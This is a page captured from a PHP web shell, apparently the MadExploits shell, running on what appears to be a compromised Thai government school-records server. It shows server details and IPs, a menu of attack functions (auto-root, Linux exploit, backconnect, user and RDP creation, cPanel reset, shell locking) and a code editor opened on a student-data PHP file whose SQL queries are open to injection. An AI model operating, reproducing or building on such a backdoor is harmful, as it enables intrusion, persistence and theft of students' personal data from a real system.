Linux ns8.secondary29.go.th 2.6.32-754.28.1.el6.x86_64 #1 SMP Wed Mar 11 18:38:45 UTC 2020 x86_64
Apache/2.2.15 (CentOS)
: 122.154.134.11 | : 122.154.134.9
Cant Read [ /etc/named.conf ]
5.6.40
apache
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
amss /
modules /
student_main /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
install
[ DIR ]
drwxr-xr-x
manual
[ DIR ]
drwxr-xr-x
picture
[ DIR ]
drwxrwxrwx
upload
[ DIR ]
drwxrwxrwx
default.php
248
B
-rwxr-xr-x
ed_year.php
10.65
KB
-rwxr-xr-x
export_test.php
930
B
-rw-r--r--
export_to_excel.php
3.08
KB
-rwxr-xr-x
export_to_excel2.php
3.03
KB
-rwxr-xr-x
getxml_student.php
14.36
KB
-rw-r--r--
getxml_student.phpOLD
11.7
KB
-rwxr-xr-x
getxml_student2.php
9.39
KB
-rw-r--r--
index.php
258
B
-rwxr-xr-x
livesearch.php
625
B
-rwxr-xr-x
livesearch_2.php
640
B
-rwxr-xr-x
livesearch_3.php
629
B
-rwxr-xr-x
livesearch_mobile.php
630
B
-rwxr-xr-x
menu.php
5.64
KB
-rwxr-xr-x
menu_mobile.php
932
B
-rwxr-xr-x
permission.php
8.45
KB
-rwxr-xr-x
permission_sch.php
8.83
KB
-rwxr-xr-x
permission_sch_khet.php
13.49
KB
-rwxr-xr-x
return_permission_sch_khet.php
779
B
-rwxr-xr-x
student_getxml.php
2.51
KB
-rwxr-xr-x
student_getxml2.php
3.1
KB
-rwxr-xr-x
student_import.php
6.72
KB
-rwxr-xr-x
student_import2.php
8.26
KB
-rw-r--r--
student_import3.php
4.35
KB
-rw-r--r--
student_import_2.php
6.67
KB
-rw-r--r--
student_importx.php
6.36
KB
-rwxr-xr-x
student_khet_update.php
34.99
KB
-rwxr-xr-x
student_num.php
10.17
KB
-rw-r--r--
student_report1.php
14.48
KB
-rwxr-xr-x
student_report1_mobile.php
12.93
KB
-rwxr-xr-x
student_report2.php
9.46
KB
-rwxr-xr-x
student_report3.php
7.82
KB
-rwxr-xr-x
student_report4.php
10.73
KB
-rw-r--r--
student_report5.php
9.17
KB
-rw-r--r--
student_sch_update.php
25.93
KB
-rwxr-xr-x
student_tranfer.php
4.2
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : student_tranfer.php
<?php /** ensure this file is being included by a parent file */ defined( '_VALID_' ) or die( 'Direct Access to this location is not allowed.' ); //sd page $rec_date = date("Y-m-d"); $officer=$_SESSION['login_user_id']; //ปีการศึกษา $sql = "select * from student_main_edyear where year_active='1' order by ed_year desc limit 1"; $dbquery = mysqli_query($connect,$sql); $year_active_result = mysqli_fetch_array($dbquery); if($year_active_result['ed_year']==""){ echo "<br />"; echo "<div align='center'>ยังไม่ได้กำหนดทำงานในปีการศึกษาใด ๆ กรุณาไปที่เมนูตั้งค่าระบบ เพื่อกำหนดปีการศึกษา</div>"; exit(); } //ตรวจสอบว่ามีข้อมูลปีการศึกษาปัจจุบันหรือไม่ $sql_2 = "select * from student_main_main where ed_year='$year_active_result[ed_year]' "; $dbquery_2 = mysqli_query($connect,$sql_2); $year_active_result_2 = mysqli_fetch_array($dbquery_2); if($year_active_result_2){ echo "<br />"; echo "<div align='center'>มีข้อมูลปีปัจจุบันอยู่แล้ว ระบบการเลื่อนชั้นจะไม่ดำเนินการให้ในกรณีมีข้อมูลในปีปัจจุบันแล้ว</div>"; exit(); } if($index==1){ $year_ref=$year_active_result['ed_year']-1; $sql_find = "select * from student_main_main where ed_year='$year_ref' "; $dbquery_find = mysqli_query($connect,$sql_find); while($result = mysqli_fetch_array($dbquery_find)){ $classlevel=$result['classlevel']; if($classlevel==1){ $classlevel=2; } else if($classlevel==2){ $classlevel=3; } else if($classlevel==4){ $classlevel=5; } else if($classlevel==5){ $classlevel=6; } else if($classlevel==6){ $classlevel=7; } else if($classlevel==7){ $classlevel=8; } else if($classlevel==8){ $classlevel=9; } else if($classlevel==10){ $classlevel=11; } else if($classlevel==11){ $classlevel=12; } else if($classlevel==13){ $classlevel=14; } else if($classlevel==14){ $classlevel=15; } if(!($result['classlevel']==3 or $result['classlevel']==9 or $result['classlevel']==12 or $result['classlevel']==15)){ $sql = "insert into student_main_main (ed_year,ref_id,school_code,student_id,person_id,prename,name,surname,sex,school_name,classlevel,classroom,disable,"; $sql .="rec_date,officer"; $sql .=")"; $sql .=" values ('$year_active_result[ed_year]','$result[ref_id]','$result[school_code]','$result[student_id]','$result[person_id]','$result[prename]','$result[name]','$result[surname]','$result[sex]','$result[school_name]','$classlevel','$result[classroom]','$result[disable]',"; $sql .="'$rec_date','$officer'"; $sql .=")"; $dbquery = mysqli_query($connect,$sql); } } ?> <script> document.location.href="?option=student_main&task=student_khet_update"; </script> <?php } echo "<br /><br /><br />"; echo "<table width=70% border=0 align=center>"; echo "<Tr><Td align='left'><strong>คำอธิบาย</strong></Td></Tr>"; echo "<Tr><Td align='left'>1. การเลื่อนชั้นเป็นทางเลือกหนึ่งสำหรับการบันทึกข้อมูลปีการศึกษาใหม่</Td></Tr>"; echo "<Tr><Td align='left'>2. การเลื่อนชั้นจะเลื่อนทุกชั้น ยกเว้น อนุบาลปีสุดท้าย ป.6 ม.3 และ ม.6</Td></Tr>"; echo "</Table>"; echo "<br /><br /><br />"; echo "<form name ='frm1'>"; echo "<table align='center' width='50%' border='0'>"; echo "<tr> "; echo "<td align = 'center'><INPUT TYPE='button' name='smb' value='ตกลง' onclick='tranfer(1)'></td>"; echo "</tr>"; echo "</table>"; echo "</form>"; ?> <script> function tranfer(val){ if(val==1){ callfrm("?option=student_main&task=student_tranfer&index=1"); } } </script>
Close